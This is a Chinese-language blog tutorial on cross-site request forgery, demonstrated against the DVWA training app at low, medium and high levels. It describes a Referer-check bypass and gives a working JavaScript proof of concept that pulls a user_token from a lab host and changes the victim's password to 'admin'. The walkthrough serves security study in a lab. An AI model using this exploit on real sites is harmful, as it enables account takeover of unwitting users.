Web之伪造用户请求CSRF的介绍
一、定义
CSRF(Cross-site request forgery,跨站请求伪造)也被称为 One Click Attack(单键攻击)或者 Session Riding,通常缩写为 CSRF 或者 XSRF。
简单理解:用户已经登陆过一个网站并且完成了认证,下次登录这个网站就不用再进行认证了,此时黑客构造一个恶意的URL将其放送给用户并且诱导用户点击,用户就在不知不觉间完成了修改密码、转账等其他操作。
二、实战演示
补充:我们构造的URL地址可以利用 “短链接生成”
1.Low级别的DVWA之CSRF演示
在URL当中我们可以清楚的看明白修改密码的具体操作,无非就是给服务器传递了三个参数,我们构造另一个恶意的URL地址之后诱导用户点击即可完成本次CSRF攻击。可以查看DVWA的源代码来理解。
2.Medium级别的DVWA之CSRF演示
补充:在该级别当中主要是过滤了Referer。
解决: 通过查看源码if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
我们可以很好的绕过这个stripos()函数的过滤,我们可以新建一层目录,将我们编写的恶意跳转页面放到该目录下,让该目录的“名称”包括HTTP_REFERER的内容即可过滤绕过,这里有一个注意事项很重要,有的浏览器已经修复了Referer策略,使用该策略跳转到其它站点时 Referer 会被降级处理,不携带 URI (也就是路径)部分,仅保留主机名,因此我们编写的恶意跳转页面要手工指定 Referer 策略:
当然还有很多的方法,例如我们可以利用其子站点的漏洞,从子站点打入即可。
3.High级别的DVWA之CSRF演示
直接看POC吧,主要利用了Ajax的知识。
//弹出cookie alert(document.cookie); //定义AJAX加载的页面 var theUrl = 'http://192.168.1.63/DVWA-master/vulnerabilities/csrf/'; //匹配浏览器 if (window.XMLHttpRequest){ // IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); }else{ // IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } var count = 0; //页面加载完成后执行函数 xmlhttp.onreadystatechange=function(){ //判断请求已完成并且响应就绪状态码为200时执行代码 if (xmlhttp.readyState==4 && xmlhttp.status==200) { //页面内容存储到text中进行匹配token var text = xmlhttp.responseText; var regex = /user_token\' value\=\'(.*?)\' \/\>/; var match = text.match(regex); console.log(match); //弹出token alert(match[1]); var token = match[1]; //定义payload url并绑定token为我们从页面匹配到的token并且定义新的密码,新密码是admin var new_url = 'http://192.168.1.63/DVWA-master/vulnerabilities/csrf/?user_token='+token+'&password_new=admin&password_conf=admin&Change=Change' //GET方式提交一次new_url if(count==0){ count++; xmlhttp.open("GET",new_url,false); xmlhttp.send(); } } }; //GET方式提交theUrl xmlhttp.open("GET",theUrl,false); xmlhttp.send();
关于Ajax的知识点
https://www.w3school.com.cn/js/js_ajax_http.asp
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· Qt个人项目总结 —— MySQL数据库查询与断言